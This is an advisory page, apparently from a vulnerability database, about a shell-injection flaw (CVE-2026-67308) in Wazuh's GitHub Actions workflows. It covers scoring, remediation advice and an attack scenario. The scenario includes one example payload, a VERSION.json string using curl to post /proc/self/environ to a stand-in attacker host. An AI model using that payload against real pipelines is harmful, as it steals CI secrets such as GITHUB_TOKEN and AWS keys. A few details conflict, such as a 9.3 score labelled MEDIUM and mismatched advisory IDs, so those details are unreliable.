Skip to main content

Wazuh CVE-2026-67308

| EUVDEUVD-2026-51853 CRITICAL
OS Command Injection (CWE-78)
2026-08-01 VulnCheck GHSA-9chj-cp8j-3c5f
9.3
CVSS 4.0 · Vendor: VulnCheck
View

Attack ChainAIDerived

Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain

  1. Access
    Fork repo and craft malicious VERSION.json
  2. Delivery
    Open pull request to trigger workflow
  3. Exploit
    Workflow interpolates JSON into shell step
  4. Execution
    Shell metacharacters execute arbitrary commands
  5. Impact
    Exfiltrate GITHUB_TOKEN and AWS credentials

Vulnerability Assessment

Weakness
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V1 - Encoding and Sanitization OS command sanitization, avoid shell exec
MITRE ATT&CK

2 techniques across 1 tactic: Execution

The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up.

Exploitation Conditions

Exploitation requires that the target repository runs the affected Wazuh GitHub Actions workflow on a self-hosted runner and that the workflow is triggered by pull_request events from forks, reading the attacker-supplied VERSION.json into an environment variable that is interpolated into a run: step. The concrete prerequisite is control of that VERSION.json file via a fork PR plus the workflow actually executing on untrusted input. Limiting factors: the CVSS UI:P metric indicates a maintainer approval or workflow-run action is typically needed for outside-contributor PRs, so default 'require approval' settings blunt automatic exploitation; impact is greatest specifically on self-hosted runners (ephemeral GitHub-hosted runners limit secret persistence and lateral movement); and only repositories using the pre-44bf114 workflow definitions are affected.

Impact

The CVSS 4.0 base score of 9.3 (AV:N/AC:L/AT:N/PR:N/UI:P) reflects that anyone on the internet can open a pull request (network vector, no privileges, low complexity) and achieve high confidentiality, integrity and availability impact on both the vulnerable system and subsequent systems (SC:H/SI:H), which correctly captures the secret-exfiltration and lateral-movement potential. The one genuine mitigating factor is UI:P - a maintainer action or workflow-approval step is generally needed to run untrusted fork code on self-hosted runners, so exploitation is not fully autonomous. No EPSS score, KEV entry, or SSVC decision data was provided, so probabilistic and CISA-tracked exploitation signals are UNKNOWN; the absence of a KEV listing means this should be treated as a serious-but-not-confirmed-exploited issue rather than an emergency. Net assessment: a real and high priority for the Wazuh project's own infrastructure and any downstream fork that reuses these workflows on self-hosted runners, but lower operational urgency for organizations merely running the Wazuh product, since deployed Wazuh installations are not the vulnerable component.

Exploit ScenarioDerived

An attacker forks the Wazuh repository, edits VERSION.json to contain a payload such as a version string embedding $(curl attacker.tld -d @/proc/self/environ), and opens a pull request. When the CI workflow runs on a self-hosted runner and interpolates the value into a shell step, the injected command executes with the runner's privileges and quietly exfiltrates GITHUB_TOKEN and AWS credentials to the attacker. Given AV:N/AC:L, the crafting is trivial; the only gating factor (UI:P) is a maintainer or auto-trigger causing the workflow to run.

Act Now Prioritize within 24-48h. Why: CRITICAL severity.
Patch available 0.6% exploitation probability (EPSS)

Get an e-mail when this CVE is exploited, patched or re-scored. Free account.

Alert me

AnalysisAIv2 – Aug 02, 2026

Poisoned-pipeline command injection in Wazuh's GitHub Actions CI/CD workflows (all revisions before commit 44bf114) lets an unauthenticated external attacker run arbitrary shell commands on the project's self-hosted runners by submitting a fork pull request containing a crafted VERSION.json. Because the JSON is read into environment variables that are interpolated verbatim into workflow run steps, shell metacharacters break out into command execution, permitting theft of CI secrets such as GITHUB_TOKEN and AWS credentials. There is no public exploit identified at time of analysis, but the technique (untrusted fork input on self-hosted runners) is well-understood and the vendor has already merged a fix.

Earlier versions of this analysis (1)
v1 Aug 01, 2026 - 13:30 CVSS 5.3

Shell injection in Wazuh's GitHub Actions CI/CD workflows allows any GitHub user who can open a pull request to execute arbitrary commands on Wazuh's self-hosted runners by embedding shell metacharacters in a crafted VERSION.json file. The workflow unsafely interpolates VERSION.json fields into shell run steps, enabling exfiltration of high-value secrets including GITHUB_TOKEN and AWS credentials available in the runner environment. This is a supply-chain CI injection pattern (commonly called a 'pwn request') fixed at commit 44bf114; no public exploit or CISA KEV listing has been identified at time of analysis.

RemediationAI

Upstream fix available (PR/commit 44bf114); a released/tagged patched version was not independently confirmed from the provided data, so update the workflow files by pulling changes at or after commit 44bf114 as described in advisory GHSA-95w2-gpvr-q4jh (https://github.com/wazuh/wazuh/security/advisories/GHSA-95w2-gpvr-q4jh). The correct structural fix is to stop interpolating untrusted values directly into run: steps: pass attacker-controllable data through an intermediate env: variable and reference it as a quoted shell variable ("$VAR") instead of ${{ ... }}, so the shell treats it as data. As compensating controls before or alongside patching: require the 'Require approval for all outside collaborators' setting so fork PR workflows never auto-run (trade-off: adds maintainer friction to every external contribution); move CI off self-hosted runners onto ephemeral GitHub-hosted runners where feasible (trade-off: loses custom build environment/network access); and scope down runner credentials by removing standing AWS keys in favor of short-lived OIDC-federated tokens and setting permissions: to the minimum, ideally read-only GITHUB_TOKEN (trade-off: workflows that push artifacts or comment on PRs must be granted narrower explicit permissions).

Affected VersionsENISA

wazuh 0 <44bf114

Affected Packages

euvd wazuh fix: 44bf114

Source: OSV (Open Source Vulnerabilities)

Affects your stack

Affects 1 package in euvd

Checking this CVE against your own stacks and servers is part of the Basic plan and up.

Technical ContextAI · show details

This is a classic CI/CD supply-chain weakness known as Poisoned Pipeline Execution, rooted in CWE-78 (OS Command Injection). GitHub Actions workflows that trigger on the pull_request (or pull_request_target) event process content from forked branches; here a VERSION.json file supplied by the attacker is parsed and its values are placed into environment variables that are then substituted directly into a run: shell step using GitHub's ${{ }} template expansion. Because template expansion happens before the shell executes, any shell metacharacters (;, $( ), backticks, &&) in the attacker-controlled value are interpreted by the runner's shell rather than treated as data. The affected asset per CPE is cpe:2.3:a:wazuh:wazuh (the Wazuh project repository/build tooling), and the exposure is amplified by the use of self-hosted runners, which - unlike GitHub-hosted ephemeral VMs - persist state, sit inside the maintainer's network, and typically hold long-lived cloud credentials.

Know when Wazuh gets its next vulnerability

  • Watch products and get an email when something new is published
  • Check this CVE against your own stack and servers
  • Exploit and PoC references, threat intelligence from 22 sources

No credit card · 7-day full trial

Severity by source

Vendor (VulnCheck) PRIMARY 9.3 MEDIUM
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:H/VI:H/VA:H/SC:H/SI:H/SA:N
vuln.today AI 9.6 CRITICAL

Anyone can submit a fork PR (AV:N/PR:N/AC:L) but a maintainer must run the workflow (UI:R); runner and cloud-secret compromise crosses the security boundary, so S:C with full C:H/I:H/A:H.

3.1 AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H
4.0 AV:N/AC:L/AT:N/PR:N/UI:P/VC:H/VI:H/VA:H/SC:H/SI:H/SA:N

Primary rating from Vendor (VulnCheck).

CVSS VectorVendor: VulnCheck

Attack Vector
Network
Attack Complexity
Low
Attack Requirements
None
Privileges Required
None
User Interaction
Passive
Vulnerable system: Confidentiality
High
Vulnerable system: Integrity
High
Vulnerable system: Availability
High
Subsequent system: Confidentiality
High
Subsequent system: Integrity
High
Subsequent system: Availability
None

Lifecycle Timeline

4
Analysis Updated
Aug 02, 2026 - 12:28 vuln.today
v2 - CVSS changed
Severity Changed
Aug 02, 2026 - 12:22 NVD
MEDIUM CRITICAL
CVSS changed
Aug 02, 2026 - 12:22 NVD
5.3 (MEDIUM) 9.3 (CRITICAL)
Patch available
Aug 01, 2026 - 13:01 EUVD

DescriptionCVE.org

Wazuh workflows before 44bf114 contain a shell injection vulnerability in GitHub Actions that allows attackers to execute arbitrary commands by submitting pull requests with crafted VERSION.json files. Attackers can inject shell metacharacters into environment variables that are directly interpolated into run steps, enabling command execution and exfiltration of secrets including GITHUB_TOKEN and AWS credentials on self-hosted runners.

Executive ViewAI

Why It Matters

Wazuh GitHub Actions workflows (versions before commit 44bf114) contain a critical command injection vulnerability (CVSS 9.3) that allows unauthenticated attackers to execute arbitrary commands and steal CI/CD secrets including AWS credentials and GitHub tokens. No public exploit identified at time of analysis, but the attack vector (crafted fork pull requests) is straightforward and poses immediate risk to supply chain security. Any organization deploying Wazuh with GitHub Actions faces credential exposure and infrastructure compromise.

Business Impact: Severe
Compensating Controls

Apply vendor patch.

Threat Intelligence Overview

EPSS Score
0.6%
Top 56% exploitable
Prevalence
Low
vulnerable asset is the project's own CI workflows, not deployed Wazuh installs
Data Quality
7 sources
Confidence: High
EUVD NVD CVE.org EPSS Vulnrichment GitHub VulDB

How this decision was reached

The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.

SignalValue
Severity CRITICAL
CISA KEV No
Public POC No
EPSS 0.6%
Patch available Yes
Active threat No
Deciding rule
CRITICAL severity
What every action level means
Emergency Immediate action required. Criteria: CRITICAL + in CISA KEV (actively exploited) without patch, OR CRITICAL + EPSS > 30% without patch, OR CRITICAL + active threat signals without patch.
Act Now Prioritize within 24-48h. Criteria: in KEV with patch available, OR CRITICAL + public POC, OR HIGH + EPSS > 10%, OR CRITICAL + active threat, OR any CRITICAL severity.
This Week Schedule remediation this week. Criteria: HIGH severity (CVSS 7.0-8.9). Patch within normal change window.
This Month Plan within 30 days. Criteria: MEDIUM severity (CVSS 4.0-6.9), lower exploitation probability. Include in regular patch cycle.
Monitor Track and reassess. Criteria: LOW severity (CVSS 0.1-3.9), minimal exploitation risk. No immediate action needed.

SSVC AssessmentENISA

SSVC Decision
Out-of-Cycle
Exploitation
Poc
System Exposure· derived
Open
Automatable
Yes
Human Impact
Very High
Technical Impact
Total

Priority Score

35
Low Medium High Critical
KEV: 0
EPSS: +1
CVSS: +34
PoC: 0
Weaponized: 0
Threat intel: 0
Gov advisory: 0

Attack Technique

OS command injection occurs when an application passes unsanitized user input directly into system shell commands.

More in Wazuh

View all
CVE-2025-24016 CRITICAL POC
9.9 Feb 10

Wazuh SIEM platform versions 4.4.0 through 4.9.0 contain an unsafe deserialization vulnerability in the DistributedAPI t

CVE-2026-30893 CRITICAL POC
9.9 Apr 29

Authenticated cluster peers in Wazuh Manager 4.4.0 through 4.14.3 can write arbitrary files outside the cluster synchron

CVE-2021-44079 CRITICAL POC
9.8 Nov 22

In the wazuh-slack active response script in Wazuh 4.2.x before 4.2.5, untrusted user agents are passed to a curl comman

CVE-2026-48024 CRITICAL POC
9.1 Aug 19

Path-traversal-driven root code execution affects the Wazuh security platform's cluster synchronization layer in version

CVE-2026-48162 CRITICAL POC
9.1 Aug 19

Arbitrary file read in Wazuh cluster deployments (4.0.0 through 4.14.5, and 5.0.0-beta1/beta2) lets a peer node that alr

CVE-2026-61800 CRITICAL POC
9.1 Aug 27

Arbitrary file write leading to root remote code execution affects Wazuh worker nodes in clustered deployments running v

CVE-2026-25769 CRITICAL POC
9.1 Mar 17

A critical deserialization vulnerability in Wazuh's cluster mode allows attackers with access to any worker node to achi

CVE-2025-30201 CRITICAL POC
9.1 Nov 21

Wazuh Agent before 4.13.0 on Windows can be made by an authenticated, high-privileged configuration writer to open attac

CVE-2026-44901 HIGH POC
8.4 Aug 19

Remote code execution on the Wazuh cluster master node is achievable by any attacker who controls a cluster worker node,

CVE-2026-54083 HIGH POC
8.1 Aug 27

Path traversal in Wazuh's ip-customblock active response script allows low-privileged remote attackers to create or dele

CVE-2018-19666 HIGH POC
7.8 Nov 29

The agent in OSSEC through 3.1.0 on Windows allows local users to gain NT AUTHORITY\SYSTEM access via Directory Traversa

CVE-2026-44252 HIGH POC
7.7 Aug 19

Cluster key disclosure in Wazuh Manager versions 4.0.0 through 4.14.4 enables a two-stage privilege escalation: a low-pr

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy